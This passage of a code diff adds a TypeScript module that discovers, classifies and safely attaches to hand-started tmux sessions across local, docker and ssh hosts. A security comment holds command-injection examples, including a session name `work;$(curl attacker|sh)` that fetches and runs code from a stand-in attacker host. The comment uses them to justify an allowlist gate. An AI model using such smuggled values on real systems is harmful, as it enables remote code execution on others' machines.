+  await Promise.all(
+    hosts.map(async (host) => {
+      const where = `remote ${host.label}`;
+      try {
+        const run = await runWithRemoteSshLimit(() => runForeignProbe(['sh', '-c', foreignRemoteProbeCommand(host)]), {
+          maxWaitMs: FOREIGN_PROBE_TIMEOUT_MS,
+        });
+        sessions.push(
+          ...candidatesFrom(run.stdout, 'remote', host.id, { hostId: host.id, hostLabel: host.label }, where, notes)
+        );
+        if (!run.ok) notes.push(probeFailureNote(where, run, 'unreachable, or no tmux'));
+      } catch {
+        notes.push(`${where}: unreachable, or no tmux`);
+      }
+    })
+  );
+
+  return { sessions, scannedAt: Date.now(), notes };
+}
+
+// ===========================================================================
+// Facade
+// ===========================================================================
+
+export interface ForeignDiscoveryRequest {
+  /** Always scanned (cheap, cached). */
+  local?: boolean;
+  /** Docker cases the CALLER may see — ownership filtering happens in the route. */
+  dockerCases?: DockerCase[];
+  /** Remote hosts the CALLER may see. */
+  remoteHosts?: RemoteHost[];
+  /** Skip the local TTL cache. */
+  force?: boolean;
+}
+
+/**
+ * One scan across the requested locations. Merges notes, never throws.
+ *
+ * The caller supplies the docker cases and remote hosts rather than this module
+ * reading the registries itself: which of them a user may see is an ownership
+ * question, and ownership belongs to the route layer.
+ */
+export async function discoverForeignSessions(req: ForeignDiscoveryRequest): Promise<ForeignDiscoveryResult> {
+  const parts: ForeignDiscoveryResult[] = [];
+  if (req.local !== false) parts.push(await discoverLocalForeign(req.force));
+  if (req.dockerCases?.length) parts.push(await discoverDockerForeign(req.dockerCases));
+  if (req.remoteHosts?.length) parts.push(await discoverRemoteForeign(req.remoteHosts));
+
+  return {
+    sessions: parts.flatMap((p) => p.sessions),
+    scannedAt: parts.length ? Math.max(...parts.map((p) => p.scannedAt)) : Date.now(),
+    notes: parts.flatMap((p) => p.notes),
+  };
+}
+
+/** Re-read the caller-visible docker cases, for routes that only hold a username. */
+export async function readAllDockerCases(): Promise<DockerCase[]> {
+  return readDockerCases(getDataDir()).catch(() => [] as DockerCase[]);
+}
+
+/** Re-read the saved remote hosts. */
+export async function readAllRemoteHosts(): Promise<RemoteHost[]> {
+  return readRemoteHosts(getDataDir()).catch(() => [] as RemoteHost[]);
+}

src/foreign-tmux.ts

@@ -0,0 +1,844 @@
+/**
+ * @fileoverview Pure core for FOREIGN tmux sessions — the ones a human started
+ * by hand, which Codeman neither created nor owns.
+ *
+ * Everything here is a string in / structure out, so all three locations (local,
+ * inside a container, across ssh) go through ONE probe script, ONE parser and ONE
+ * classifier. Writing a second copy per location is exactly how the two would
+ * drift into disagreeing about what a session is.
+ *
+ * ## Why the probe script is dumb
+ *
+ * It runs two commands and prints them: `tmux list-panes` per socket, and one
+ * `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
+ * is pure and unit-testable, instead of in a shell string that is embedded three
+ * different ways and can only be debugged against a real host.
+ *
+ * The one thing the script does decide is whether a server is safe to ask, because
+ * only the script can. A tmux server that stopped answering holds its client
+ * forever, and from outside a container or across ssh no signal reaches that
+ * client: a timeout kills `docker exec` or `ssh`, never what they started. So each
+ * server gets a bounded ping first, and one that misses it costs its own rows and
+ * a `CMFH` line, not the whole scan.
+ *
+ * ⚠️ The ping exists because a watchdog around `list-panes` cannot work. A tmux
+ * client hands dups of its stdout to the server, so a stopped server keeps our
+ * stdout pipe open after the client is dead (measured: SIGTERM ended the client at
+ * once and no EOF came in the 2.5 s that were watched, while the server stayed
+ * stopped). Nothing reading that pipe can finish, and the same hold would keep
+ * `docker exec` and `ssh` waiting on it. The ping's stdout is /dev/null, so only a
+ * server that just answered ever gets the real one.
+ *
+ * ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
+ * to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
+ * is the single-quote dual of the "no double quotes in the docker launch chain"
+ * rule in `tmux-manager.ts` — same class of bug, opposite quote.
+ *
+ * ## Why the mode comes from the process tree
+ *
+ * `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
+ * distinguish them. The classifier walks the pane's descendants over the `ps`
+ * snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn —
+ * see proc-tree.ts for the incident that rule exists for) and matches argv. What
+ * it cannot identify is `shell`, which is also the honest answer for the case
+ * this feature was built for: a hand-opened shell.
+ *
+ * ## Why attaching means creating a grouped session
+ *
+ * A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
+ * is its own session, so our `status off` and our current-window selection land
+ * on us alone. A bare `attach` would have to set those on the owner's session,
+ * i.e. mutate something we do not own. `destroy-unattached on` then makes our
+ * view evaporate when the wrapper pane dies (measured: it does).
+ *
+ * ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
+ * `server_check_unattached()` runs every server loop, so a detached session with
+ * `destroy-unattached on` is torn down almost immediately — the option has to
+ * land on a session that already has our client on it.
+ *
+ * ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
+ * was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
+ * client, with our client at 80x24:
+ *
+ *   bare attach                      -> target becomes 80x23
+ *   grouped session                  -> target becomes 80x23   (same!)
+ *   grouped + `window-size largest`  -> target stays  200x49
+ *
+ * A window is one object with one size; a group shares the object. So attaching
+ * from Codeman resizes a session someone else is actively viewing, exactly like
+ * any second tmux client does — that is tmux's normal behavior, and it reverses
+ * when we detach.
+ *
+ * `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
+ * SHARED window, so it survives our detach (measured: still `largest` after our
+ * view is gone) — it would permanently rewrite the owner's configuration to buy
+ * a cropped view for us. Restoring it would need the previous value captured with
+ * `$(...)`, and this string carries no command substitution. It reaches `bash -c`
+ * verbatim now (`bashCArg()`), but it crossed `bash -c "..."` for a long time, where
+ * the OUTER shell expanded it first. That is the same rule the docker launch chain
+ * states as "no command substitution", and the same trap that silently emptied
+ * `$TMUX_TMPDIR` while this probe was developed.
+ * A user who wants the crop instead of the resize can set `window-size largest`
+ * on their own session, which is theirs to set.
+ *
+ * @module foreign-tmux
+ */
+
+import { collectDescendants } from './proc-tree.js';
+import { listClis } from './config/cli-registry/registry.js';
+import { withRemoteTmuxPath } from './remote-hosts.js';
+import { FOREIGN_MAX_PANES, FOREIGN_MAX_PROCS, FOREIGN_SOCKET_TIMEOUT_SECONDS } from './config/foreign-tmux.js';
+import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
+import type { SessionAdopt, SessionMode } from './types/session.js';
+
+// ===========================================================================
+// Probe script
+// ===========================================================================
+
+/**
+ * Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
+ * LITERAL two characters (verified on next-3.7 — the same finding that shaped
+ * `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
+ * in case some build does expand it.
+ */
+const SEP = '\\t';
+const SEP_SPLIT = /\\t|\t/;
+const REJOIN = '\t';
+
+const PANE_MARKER = 'CMFP';
+const PROC_MARKER = 'CMFQ';
+const SOCKET_MARKER = 'CMFS';
+const HUNG_MARKER = 'CMFH';
+
+/**
+ * The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
+ *
+ * Emits, in order:
+ *   CMFS<sep><socket path>                        (one per readable socket)
+ *   CMFP<sep><socket><sep>...<sep>name<sep>path   (one per pane on that socket)
+ *   CMFH<sep><socket path>                        (a server that did not answer)
+ *   CMFQ                                          (marker; ps rows follow)
+ *   <pid> <ppid> <argv...>
+ *
+ * The two free-form fields (session name, pane path) are LAST so a separator
+ * inside one of them can be re-joined by position instead of corrupting the row.
+ */
+export function buildForeignProbeScript(): string {
+  const fmt = [
+    PANE_MARKER,
+    '#{socket_path}',
+    '#{pane_pid}',
+    '#{window_index}',
+    '#{session_windows}',
+    '#{session_created}',
+    '#{session_attached}',
+    '#{pane_id}',
+    '#{pane_current_command}',
+    '#{session_name}',
+    '#{pane_current_path}',
+  ].join(SEP);
+
+  // `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
+  // fail we still emit the pane rows, and classification degrades to the pane
+  // command — which still names a plain shell correctly.
+  // ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
+  // expansion turns the loop into a single literal non-match. ⚠️ The marker line
+  // must NOT try to carry the field separator at all. Measured: `sh`'s builtin
+  // `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
+  // two literal characters — so the same escape means two different things two
+  // lines apart. The socket line is space-separated instead (marker first, rest
+  // of line is the path), which no shell rewrites.
+  //
+  // Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
+  // server (that is exactly where tmux puts them). A socket at an arbitrary
+  // `tmux -S /custom/path` is deliberately out of scope: finding it would mean
+  // walking the filesystem for sockets.
+  //
+  // `-u` because a POSIX locale otherwise rewrites every non-ASCII byte tmux prints
+  // to `_` (measured in a container: session `会话` listed as `____`), and a name
+  // read wrong is a name the guard then cannot find.
+  //
+  // The ping (see @fileoverview) runs in the background beside a watchdog, the POSIX
+  // spelling of `timeout`, which macOS does not ship. A stale socket answers at once
+  // with status 1 and is skipped, so the ping costs a live server one extra spawn and
+  // a dead one none. `has-session` cannot start a server on a stale socket.
+  // ⚠️ The watchdog says it fired with its own exit status, 7: a tmux client ended by
+  // SIGTERM exits 0 (measured), so the ping's status cannot tell. It prints the marker
+  // BEFORE the kill and the loop reaps it, or the line could land after `CMFQ` and
+  // parse as a process row. The `trap` ends the `sleep` with it, so a scan does not
+  // leave one behind per socket. `\$Z` is for the trap to expand: it is set before Z
+  // exists, so a socket that answers at once wins that race.
+  const watchdog =
+    `( trap "kill \\$Z 2>/dev/null; exit" TERM; sleep ${FOREIGN_SOCKET_TIMEOUT_SECONDS} >/dev/null 2>&1 & Z=$!; ` +
+    `wait $Z && { echo "${HUNG_MARKER} $S"; kill $P; exit 7; } ) & W=$!`;
+  const ping =
+    `tmux -S "$S" has-session >/dev/null 2>&1 & P=$!; ${watchdog}; ` +
+    'wait $P; R=$?; kill $W 2>/dev/null; wait $W 2>/dev/null; [ $? -ne 7 ] && [ $R -eq 0 ] || continue';
+  return [
+    'TD=${TMUX_TMPDIR:-/tmp}',
+    'U=$(id -u 2>/dev/null || echo 0)',
+    `for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ${ping}; ` +
+      `tmux -u -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
+    `echo ${PROC_MARKER}`,
+    'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
+  ].join('; ');
+}
+
+// ===========================================================================
+// Parsing
+// ===========================================================================
+
+export interface ForeignProbeOutput {
+  panes: ForeignPaneProbe[];
+  /** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
+  byParent: Map<number, number[]>;
+  /** pid to full argv line. */
+  argvByPid: Map<number, string>;
+  /** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
+  sockets: string[];
+  /** Sockets whose server missed the per-socket bound, so their rows are absent. */
+  hungSockets: string[];
+}
+
+/** Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal. */
+export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
+  const panes: ForeignPaneProbe[] = [];
+  const sockets: string[] = [];
+  const hungSockets: string[] = [];
+  const byParent = new Map<number, number[]>();
+  const argvByPid = new Map<number, string>();
+  if (!stdout) return { panes, byParent, argvByPid, sockets, hungSockets };
+
+  let inProcs = false;
+  let procCount = 0;
+
+  for (const raw of stdout.split('\n')) {
+    const line = raw.replace(/\r$/, '');
+    if (!line) continue;
+
+    if (!inProcs && line === PROC_MARKER) {
+      inProcs = true;
+      continue;
+    }
+
+    if (inProcs) {
+      if (procCount >= FOREIGN_MAX_PROCS) continue;
+      // `<pid> <ppid> <argv...>` — leading spaces are how `ps -o pid=` pads.
+      const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/.exec(line);
+      if (!m) continue;
+      const pid = Number(m[1]);
+      const ppid = Number(m[2]);
+      if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
+      procCount += 1;
+      argvByPid.set(pid, m[3] ?? '');
+      const siblings = byParent.get(ppid);
+      if (siblings) siblings.push(pid);
+      else byParent.set(ppid, [pid]);
+      continue;
+    }
+
+    if (line.startsWith(`${SOCKET_MARKER} `)) {
+      const sock = line.slice(SOCKET_MARKER.length + 1);
+      if (sock && !sockets.includes(sock)) sockets.push(sock);
+      continue;
+    }
+
+    if (line.startsWith(`${HUNG_MARKER} `)) {
+      hungSockets.push(line.slice(HUNG_MARKER.length + 1));
+      continue;
+    }
+
+    const fields = line.split(SEP_SPLIT);
+    if (fields[0] !== PANE_MARKER) continue;
+    if (panes.length >= FOREIGN_MAX_PANES) continue;
+    // 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
+    // pushes extras into the middle, so the path is taken from the END and the
+    // name is whatever sits between the fixed prefix and it.
+    if (fields.length < 11) continue;
+
+    const panePid = Number(fields[2]);
+    const windowIndex = Number(fields[3]);
+    const windows = Number(fields[4]);
+    const created = Number(fields[5]);
+    if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
+
+    const paneCurrentPath = fields[fields.length - 1] ?? '';
+    const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
+    if (!sessionName) continue;
+
+    panes.push({
+      socketPath: fields[1] ?? '',
+      sessionName,
+      windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
+      paneId: fields[7] ?? '',
+      panePid,
+      paneCurrentCommand: fields[8] ?? '',
+      paneCurrentPath,
+      sessionAttached: fields[6] === '1',
+      sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
+      windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
+    });
+  }
+
+  return { panes, byParent, argvByPid, sockets, hungSockets };
+}
+
+// ===========================================================================
+// Classification
+// ===========================================================================
+
+/**
+ * argv signatures, derived from the registry rather than written here.
+ *
+ * Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
+ * hits the claude rule via the path. The binary names come from each entry's
+ * `discovery.binaries` — the one place that already knows a mode name is NOT
+ * always a binary name (`antigravity` runs `agy`). The hand-written table this
+ * replaces keyed on CLI ids, which CLAUDE.md forbids outside `stock.ts`, and it
+ * had already fallen behind: `omp` was missing, so a hand-started omp pane read
+ * as a plain shell.
+ *
+ * Resolved at CALL time, never into a module-level const: a CLI enabled (or a
+ * custom entry added) at runtime must be recognised without a restart.
+ *
+ * ⚠️ Longest name first. `pi` is two characters and its "command itself" form
+ * would otherwise be tried before `opencode`'s; length order is what keeps a
+ * short generic name from claiming a pane that belongs to a longer one.
+ *
+ * ⚠️ Names are regex-ESCAPED. They reach here from `~/.codeman/clis.json`, and
+ * while the schema's SHELL_TOKEN already refuses the dangerous shapes, building
+ * a pattern out of an unescaped foreign string is how a config value turns into
+ * a regex. Escaping means the worst a bad name can do is match nothing.
+ */
+export function foreignCliSignatures(): ReadonlyArray<{ mode: SessionMode; test: RegExp }> {
+  const seen = new Set<string>();
+  const out: { mode: SessionMode; test: RegExp }[] = [];
+  // `listClis()`, not `enabledClis()`: classification is a description of what is
+  // ALREADY running in someone else's pane, not a decision to launch anything.
+  // A disabled CLI still deserves its real name on the row.
+  const named: { mode: SessionMode; name: string }[] = [];
+  for (const entry of listClis()) {
+    // ⚠️ Stock entries only, and this is a `stock` check rather than an id check
+    // on purpose: `SessionMode` is the CLOSED union of the stock ids, so a custom
+    // entry has no SessionMode to be. Letting one through would put a value the
+    // union does not contain on `SessionState.mode`. A custom CLI's pane falls to
+    // the `shell` answer below, which is the honest one — Codeman has no name for
+    // it, and an adopted wrapper runs `attach` either way.
+    if (!entry.stock) continue;
+    for (const binary of entry.discovery.binaries) {
+      // `shell` declares none, which is right: it is the FALLBACK answer, never a
+      // signature match.
+      if (!binary || seen.has(binary)) continue;
+      seen.add(binary);
+      named.push({ mode: entry.id as SessionMode, name: binary });
+    }
+  }
+  named.sort((a, b) => b.name.length - a.name.length);
+  for (const { mode, name } of named) {
+    const n = escapeRegExp(name);
+    out.push({
+      mode,
+      test: new RegExp(
+        // the command itself · a `bin/` path · a node launcher under the CLI's
+        // own dot-directory (`~/.claude/local/.../cli.js`)
+        `(^|[/\\\\])${n}(\\s|$)|[/\\\\]bin[/\\\\]${n}\\b|[/\\\\]\\.?${n}[/\\\\][^\\s]*cli\\.js`
+      ),
+    });
+  }
+  return out;
+}
+
+function escapeRegExp(value: string): string {
+  return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+}
+
+/** Commands that mean "this is a plain shell", not an unidentified agent. */
+const SHELL_COMMANDS = new Set([
+  'bash',
+  'sh',
+  'zsh',
+  'fish',
+  'dash',
+  'ksh',
+  'tcsh',
+  'csh',
+  'ash',
+  'busybox',
+  'login',
+  '-bash',
+  '-zsh',
+  '-sh',
+]);
+
+export interface ClassifiedPane {
+  mode: SessionMode;
+  /** The argv line the decision came from, truncated for display. */
+  command: string;
+}
+
+const COMMAND_DISPLAY_MAX = 160;
+
+/**
+ * Decide what a pane is running.
+ *
+ * Order matters: the pane's own command is checked against the CLI signatures
+ * first (a pane running `claude` directly is unambiguous and needs no walk), then
+ * the bounded descendant walk, and only then the shell fallback. The walk is what
+ * separates claude from codex, since tmux reports `node` for both.
+ */
+export function classifyForeignPaneMode(
+  pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
+  probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>
+): ClassifiedPane {
+  const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
+
+  const direct = matchSignature(own);
+  if (direct) return { mode: direct, command: truncate(own) };
+
+  // ⚠️ Report truncation. A walk that stopped at a cap returns "nothing matched",
+  // which is byte-identical to the answer for a real shell — without this line a
+  // deep or wide tree silently downgrades an agent pane to `shell` and there is
+  // nothing anywhere to tell the two apart.
+  const descendants = collectDescendants(pane.panePid, probe.byParent, {
+    onTruncated: (root, cap, reason) =>
+      console.warn(`[foreign-tmux] descendant walk for ${root} hit the ${cap}-${reason} cap; truncating`),
+  });
+  for (const pid of descendants) {
+    const argv = probe.argvByPid.get(pid);
+    if (!argv) continue;
+    const hit = matchSignature(argv);
+    if (hit) return { mode: hit, command: truncate(argv) };
+  }
+
+  // tmux's own answer is the last signal worth trying: `#{pane_current_command}`
+  // is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
+  // so this catches an agent whose process tree was unreadable (no `ps` on the
+  // host) or deeper than the walk's cap.
+  const fromTmux = matchSignature(pane.paneCurrentCommand);
+  if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
+
+  // Nothing recognised. `shell` is the honest answer AND the primary case this
+  // feature exists for; the raw command travels alongside so the UI can show what
+  // is actually running rather than asserting a mode it did not verify.
+  return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
+}
+
+function matchSignature(argv: string): SessionMode | null {
+  if (!argv) return null;
+  const base = basenameOf(argv);
+  if (SHELL_COMMANDS.has(base)) return null;
+  for (const sig of foreignCliSignatures()) {
+    if (sig.test.test(argv)) return sig.mode;
+  }
+  return null;
+}
+
+function basenameOf(argv: string): string {
+  const first = argv.trim().split(/\s+/)[0] ?? '';
+  const slash = first.lastIndexOf('/');
+  return slash >= 0 ? first.slice(slash + 1) : first;
+}
+
+function truncate(s: string): string {
+  const flat = s.replace(/\s+/g, ' ').trim();
+  return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
+}
+
+// ===========================================================================
+// Exclusion — never adopt what Codeman already owns
+// ===========================================================================
+
+/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
+const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
+
+/** Session names Codeman mints. */
+const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
+
+/**
+ * Is this pane one of Codeman's own, at any location?
+ *
+ * Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
+ * sessions (which would attach a second PTY to a live pane). On a remote host or
+ * inside a container it stops the SAME session from being reachable through two
+ * different code paths — `remote-hosts.listRemoteCodemanSessions` already owns
+ * the `tmux -L codeman` case there, and two paths to one session is how the two
+ * end up disagreeing about ownership.
+ *
+ * @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
+ *                  which is instance-scoped and therefore not a constant.
+ */
+export function isCodemanOwnedPane(
+  pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
+  ownSocket: string
+): boolean {
+  const socketName = basenameOf(pane.socketPath);
+  if (socketName === ownSocket) return true;
+  if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
+  // A `codeman-<instance>` socket belongs to another Codeman instance even when
+  // THIS instance runs on a different one.
+  if (socketName.startsWith('codeman-')) return true;
+  return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
+}
+
+// ===========================================================================
+// Adoptability — what may cross the launch chain at all
+// ===========================================================================
+
+/**
+ * Characters a foreign session name or socket path may contain to be adoptable.
+ *
+ * ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
+ * blocklist version of it is one forgotten character away from a shell.
+ *
+ * A foreign session name is chosen by SOMEONE ELSE, and it would cross several
+ * shells on the way to tmux: the local `sh` and `bash -c` at `respawn-pane`, then
+ * `sh -lc` in a container, or the login shell and `sh -c` over ssh. The launch reaches
+ * `bash -c` single-quoted now (`bashCArg()`), which closes the first of those, and the
+ * gate stays as defense in depth for the rest. It was written against the double-quoted
+ * form, `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`, and that is the shape of
+ * the mistake it stops. `JSON.stringify` escapes `"` and `\` (it does NOT escape `$` or
+ * a backtick) and the outer shell parses that string with those still live inside its
+ * double quotes. The inner single quotes this module adds do not help: the outer shell
+ * substitutes first. Measured directly:
+ *
+ *   launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
+ *   execSync(`bash -c ${JSON.stringify(launchCmd)}`)  ->  BOTH files created
+ *
+ * So a session called `work;$(curl attacker|sh)` sitting on the default socket
+ * would run as the Codeman server account the moment someone clicked Open. The
+ * name never reaches a command at all now: a candidate that fails this test is
+ * dropped during discovery, so it has no id, and the adopt endpoint re-resolves
+ * through that same discovery and can only 404.
+ *
+ * Generous on purpose about what real names contain — Unicode letters, digits,
+ * marks, spaces, and the punctuation people actually use — because a refusal
+ * here is a session the user cannot open at all.
+ */
+const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
+
+/**
+ * Names `new-session -t` reads as target syntax instead of as a name.
+ *
+ * ⚠️ The guard's `has-session -t '=<name>'` looks up by name, the join does not, so
+ * these pass the guard and then join something else. Measured on tmux 3.4: `@1` and
+ * `%1` joined the session holding that window or pane, and input typed in the tab
+ * reached it; `=eq`, `@zz`, `%zz`, `~` and a bare `=` made a new group with a fresh
+ * shell on the foreign server. `~foo` and `! + - ^` joined their own windows, so a
+ * plain first-character rule would refuse them for nothing.
+ */
+const TMUX_TARGET_SYNTAX = /^[=@%]|^~$/;
+
+/** Same rule, plus the path separator and no `..` climbing. */
+export function isAdoptableSocketPath(socketPath: string): boolean {
+  if (!socketPath || socketPath.length > 4096) return false;
+  if (!socketPath.startsWith('/')) return false;
+  if (socketPath.includes('..')) return false;
+  return ADOPTABLE_TEXT.test(socketPath);
+}
+
+/** True when this session name can cross the launch chain safely. */
+export function isAdoptableSessionName(sessionName: string): boolean {
+  if (!sessionName || sessionName.length > 256) return false;
+  if (TMUX_TARGET_SYNTAX.test(sessionName)) return false;
+  return ADOPTABLE_TEXT.test(sessionName);
+}
+
+// ===========================================================================
+// Identity
+// ===========================================================================
+
+/**
+ * Stable, opaque id for a candidate. The browser sends this back to adopt, so it
+ * must survive a re-scan (same session gets the same id) without the browser ever
+ * handing us a socket path or session name to interpolate into a command.
+ */
+export function foreignSessionId(
+  location: ForeignTmuxLocationKind,
+  hostKey: string,
+  socketPath: string,
+  sessionName: string
+): string {
+  return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
+}
+
+/**
+ * What names one foreign tmux session across every location Codeman can reach.
+ * A socket path and a session name are not enough on their own: a socket path is
+ * only meaningful INSIDE its location. Containers commonly run tmux as root
+ * (`/tmp/tmux-0/default`) with default names `0`, `1`, so session `0` in two
+ * containers is the same pair, and so is the same name on this machine and on an
+ * ssh host with the same uid.
+ *
+ * A `ForeignTmuxSession` candidate is one of these as it stands. A wrapper's
+ * `SessionAdopt` is turned into one by `adoptTargetIdentity()`.
+ */
+export interface ForeignTargetIdentity {
+  location: ForeignTmuxLocationKind;
+  /** Registry id of the docker or remote host. Absent for local. */
+  hostId?: string;
+  /** The container (`location === 'docker'`), which is only unique per engine, hence beside `hostId`. */
+  containerName?: string;
+  socketPath: string;
+  sessionName: string;
+}
+
+/**
+ * The ONE key that decides "is this foreign session already wrapped?". The adopt
+ * route's one-wrapper-per-target check and the listing's `adoptedBy` both read it;
+ * two keys are how a row ends up offering a tab that belongs to another location.
+ *
+ * Unlike `foreignSessionId` this is not opaque, and it stays on the server: the
+ * opaque id encodes a discovery detail a restored wrapper does not carry, while
+ * everything here is on `SessionAdopt` too.
+ */
+export function foreignTargetKey(target: ForeignTargetIdentity): string {
+  // \u0000 as an ESCAPE: see the note in candidatesFrom() about NUL bytes in source.
+  return [target.location, target.hostId ?? '', target.containerName ?? '', target.socketPath, target.sessionName].join(
+    '\u0000'
+  );
+}
+
+/** A wrapper's adoption record, as the identity of the foreign session it wraps. */
+export function adoptTargetIdentity(adopt: SessionAdopt): ForeignTargetIdentity {
+  return {
+    location: adopt.location,
+    hostId: adopt.docker?.hostId ?? adopt.remote?.hostId,
+    containerName: adopt.docker?.containerName,
+    socketPath: adopt.socketPath,
+    sessionName: adopt.targetSession,
+  };
+}
+
+function fnv1a(input: string): string {
+  let h = 0x811c9dc5;
+  for (let i = 0; i < input.length; i += 1) {
+    h ^= input.charCodeAt(i);
+    h = Math.imul(h, 0x01000193) >>> 0;
+  }
+  return h.toString(16).padStart(8, '0');
+}
+
+/**
+ * Our grouped view session's name on the FOREIGN server. Deliberately prefixed
+ * `codeman-view-` so a human looking at their own `tmux ls` can see what joined
+ * them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
+ * rule above).
+ */
+export function foreignViewSessionName(sessionId: string): string {
+  return `codeman-view-${sessionId.slice(0, 8)}`;
+}
+
+// ===========================================================================
+// Attach command builders
+// ===========================================================================
+
+/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
+export function fshq(str: string): string {
+  return `'${String(str).replace(/'/g, `'\\''`)}'`;
+}
+
+export interface ForeignAttachTarget {
+  socketPath: string;
+  targetSession: string;
+  viewSession: string;
+}
+
+/**
+ * The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
+ *
+ * Shape and why:
+ *   command -v tmux || { echo no tmux; exit 127; } ;
+ *   tmux -S <sock> has-session -t '=<target>' || { echo gone; exit 1; } ;
+ *   tmux -S <sock> kill-session -t '=<view>' 2>/dev/null ;
+ *   exec tmux -u -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
+ *
+ * - ⚠️ `command -v` first because the guard below fires on ANY failure, and "tmux is
+ *   not on this PATH" (exit 127, hidden by the `2>/dev/null`) must not be told to the
+ *   user as "your session is gone" while it is running.
+ * - `-u` on the client: in a POSIX locale it otherwise writes the tab as if the
+ *   terminal were ASCII (measured: `_ hello qqq ____` for `❯ hello ─── 你好`). Only
+ *   the join needs it, since the guard prints nothing and tmux compares a target
+ *   name as bytes in any locale.
+ * - ⚠️ The `has-session` guard comes FIRST because `new-session -t` does not fail
+ *   on a missing target, it invents one. Measured on tmux 3.4: with `work` gone it
+ *   joined `work-prod`, with nothing matching it created a fresh shell, and on a
+ *   socket with no server it STARTED one. This line re-runs every time the wrapper
+ *   pane is respawned, and boot recovery does that for every dead pane, so once the
+ *   owner exits their session the next Codeman restart would leave a new shell on
+ *   their machine, in their container or on their ssh host. `=` is what makes the
+ *   check exact (no prefix match), and `2>/dev/null` keeps tmux's own "no server"
+ *   noise out of the pane: the message we print says it better. The check only holds
+ *   for a name `new-session -t` also reads as a name, which is what
+ *   `isAdoptableSessionName` keeps true (see `TMUX_TARGET_SYNTAX`).
+ * - ⚠️ The `=` prefix cannot stand in for that check on `new-session -t`: with the
+ *   target gone tmux takes it as part of the name and creates a group literally
+ *   called `=work`. It has to be a separate `has-session`.
+ * - `new-session -t` creates a session in the target's GROUP: same windows, our
+ *   own session options and current window (NOT our own size — see @fileoverview
+ *   for the measurement that disproved that).
+ * - `status off` is why grouping earns its keep: it lands on OUR session, so the
+ *   owner's status bar is untouched.
+ * - No `-d`: the session must be attached before `destroy-unattached` lands on it.
+ * - The escaped semicolons reach tmux as plain command separators after one shell
+ *   parse — the same convention the docker launch chain uses.
+ * - ⚠️ There is NO degraded fallback, on purpose. A read-only `attach-session -r`
+ *   used to hang off `||` "for a tmux too old to group", but `||` fires on ANY
+ *   `new-session` failure. The one that actually happens is a leftover view with
+ *   the same name (the in-container leak described above): measured, `new-session`
+ *   answers `duplicate session: codeman-view-…` and the fallback then handed the
+ *   user a read-only client showing the owner's status bar, where everything typed
+ *   is dropped while the API reports success. That is the worst shape a failure can
+ *   take here. So: clear OUR OWN stale view first, then either group successfully
+ *   or exit with a message.
+ * - The `kill-session` is safe by construction and cannot touch the human's work:
+ *   the name is `codeman-view-<our own session id>`, `=` makes the match exact, and
+ *   killing a session in a group removes only that session (measured: the owner's
+ *   `work` survived its grouped view being killed). `2>/dev/null` because "no such
+ *   session" is the normal case, not an error.
